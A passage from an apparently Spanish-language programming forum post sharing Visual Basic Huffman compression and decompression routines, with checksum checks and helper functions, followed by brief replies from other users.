If Len(HuffmanEncode) > TextLen And Not Force Then
HuffmanEncode = "HE0" & vbCr & Text
End If
End Function
'Decompress the string back into its original text.
Public Function HuffmanDecode(ByVal Text As String) As String
Dim Pos As Long, Temp As String, Char As Byte, Bits
Dim i As Long, j As Long, CharsFound As Long, BitPos As Integer
Dim CheckSum As Byte, SourceLen As Long, TextLen As Long
Dim HTRootNode As Collection, HTNode As Collection
'If this was left uncompressed, this will be easy.
If Left(Text, 4) = "HE0" & vbCr Then
HuffmanDecode = Mid(Text, 5)
Exit Function
End If
'If this is any version other than 2, we'll bow out.
If Left(Text, 4) <> "HE2" & vbCr Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The data either was not compressed with HE2 or is corrupt"
End If
Text = Mid(Text, 5)
'Extract the ASCII character bit-code table's byte length.
Pos = InStr(1, Text, vbCr)
If Pos = 0 Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The data either was not compressed with HE2 or is corrupt"
End If
On Error Resume Next
TextLen = Left(Text, Pos - 1)
If Err.Number <> 0 Then
On Error GoTo 0
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error GoTo 0
Text = Mid(Text, Pos + 1)
Temp = Left(Text, TextLen)
Text = Mid(Text, TextLen + 1)
'Now extract the ASCII character bit-code table.
Set HTRootNode = NewNode
Pos = 1
While Pos <= Len(Temp)
Char = Asc(Mid(Temp, Pos, 1))
Pos = Pos + 1
Bits = StringToBits(Pos, Temp)
Set HTNode = HTRootNode
For j = 0 To UBound(Bits)
If Bits(j) = 1 Then
If HTNode(htnLeftSubtree) Is Nothing Then
S HTNode, htnLeftSubtree, NewNode
End If
Set HTNode = HTNode(htnLeftSubtree)
Else
If HTNode(htnRightSubtree) Is Nothing Then
S HTNode, htnRightSubtree, NewNode
End If
Set HTNode = HTNode(htnRightSubtree)
End If
Next
S HTNode, htnIsLeaf, True
S HTNode, htnAsciiCode, Chr(Char)
S HTNode, htnBitCode, Bits
Wend
'Extract the checksum.
CheckSum = Asc(Left(Text, 1))
Text = Mid(Text, 2)
'Extract the length of the original string.
Pos = InStr(1, Text, vbCr)
If Pos = 0 Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error Resume Next
SourceLen = Left(Text, Pos - 1)
If Err.Number <> 0 Then
On Error GoTo 0
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error GoTo 0
Text = Mid(Text, Pos + 1)
TextLen = Len(Text)
'Now that we've processed the header, let's decode the actual data.
i = 1
BitPos = -1
Set HTNode = HTRootNode
Temp = ""
While CharsFound < SourceLen
If BitPos = -1 Then
If i > TextLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Expecting more bytes in data stream"
End If
Char = Asc(Mid(Text, i, 1))
i = i + 1
End If
BitPos = BitPos + 1
If (Char And 2 ^ BitPos) > 0 Then
Set HTNode = HTNode(htnLeftSubtree)
Else
Set HTNode = HTNode(htnRightSubtree)
End If
If HTNode Is Nothing Then
'Uh oh. We've followed the tree to a Huffman tree to a dead
'end, which won't happen unless the data is corrupt.
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header (lookup table) is corrupt"
End If
If HTNode(htnIsLeaf) Then
Temp = Temp & HTNode(htnAsciiCode)
If Len(Temp) > 1024 Then
HuffmanDecode = HuffmanDecode & Temp
Temp = ""
End If
CharsFound = CharsFound + 1
Set HTNode = HTRootNode
End If
If BitPos >= 7 Then BitPos = -1
Wend
If Len(Temp) > 0 Then
HuffmanDecode = HuffmanDecode & Temp
End If
If i <= TextLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Found extra bytes at end of data stream"
End If
'Verify data to check for corruption.
If Len(HuffmanDecode) <> SourceLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Data corrupt because check sums do not match"
End If
Char = 0
For i = 1 To SourceLen
Char = Char Xor Asc(Mid(HuffmanDecode, i, 1))
Next
If Char <> CheckSum Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Data corrupt because check sums do not match"
End If
End Function
'----------------------------------------------------------------
' Everything below here is only for supporting the two main
' routines above.
'----------------------------------------------------------------
'Follows the tree, now built, to its end leaf nodes, where the
'character codes are, in order to tell those character codes
'what their bit string representations are.
Private Sub AttachBitCodes(BitStrings, HTNode As Collection, ByVal Bits)
If HTNode Is Nothing Then Exit Sub
If HTNode(htnIsLeaf) Then
S HTNode, htnBitCode, Bits
Set BitStrings(Asc(HTNode(htnAsciiCode))) = HTNode
Else
ReDim Preserve Bits(UBound(Bits) + 1)
Bits(UBound(Bits)) = 1
AttachBitCodes BitStrings, HTNode(htnLeftSubtree), Bits
Bits(UBound(Bits)) = 0
AttachBitCodes BitStrings, HTNode(htnRightSubtree), Bits
End If
End Sub
'Turns a string of '0' and '1' characters into a string of bytes
'containing the bits, preceeded by 1 byte indicating the
'number of bits represented.
Private Function BitsToString(Bits) As String
Dim Char As Byte, i As Long
BitsToString = Chr(UBound(Bits) + 1) 'Number of bits
For i = 0 To UBound(Bits)
If i Mod 8 = 0 Then
If i > 0 Then BitsToString = BitsToString & Chr(Char)
Char = 0
End If
If Bits(i) = 1 Then 'Bit value = 1
'Mask the bit into its proper position in the byte
Char = Char + 2 ^ (i Mod 8)
End If
Next
BitsToString = BitsToString & Chr(Char)
End Function
'The opposite of BitsToString() function.
Private Function StringToBits(StartPos As Long, Bytes As String)
Dim Char As Byte, i As Long, BitCount As Long, Bits
Bits = Array()
BitCount = Asc(Mid(Bytes, StartPos, 1))
StartPos = StartPos + 1
For i = 0 To BitCount - 1
If i Mod 8 = 0 Then
Char = Asc(Mid(Bytes, StartPos, 1))
StartPos = StartPos + 1
End If
ReDim Preserve Bits(UBound(Bits) + 1)
If (Char And 2 ^ (i Mod 8)) > 0 Then 'Bit value = 1
Bits(UBound(Bits)) = 1
Else 'Bit value = 0
Bits(UBound(Bits)) = 0
End If
Next
StringToBits = Bits
End Function
'Remove the specified item and put the specified value in its place.
Private Sub S(Col As Collection, Index As HuffmanTreeNodeParts, Value)
Col.Remove Index
If Index > Col.Count Then
Col.Add Value
Else
Col.Add Value, , Index
End If
End Sub
'Creates a new Huffman tree node with the default values set.
Private Function NewNode() As Collection
Dim Node As New Collection
Node.Add 0 'htnWeight
Node.Add False 'htnIsLeaf
Node.Add Chr(0) 'htnAsciiCode
Node.Add "" 'htnBitCode
Node.Add Nothing 'htnLeftSubtree
Node.Add Nothing 'htnRightSubtree
Set NewNode = Node
End Function
Espero que lo disfruteis, poner las dudas en este post.
Salu2 k1z4r










Autor



En línea




me fijare haber si encuentro como ago para que se ponga el icono y el nombre del primer archivo.


, spero q c pueda hacer lo q plantea UTU, ya eso seria la perfección. (aunq este code d x si ya lo dice todo)


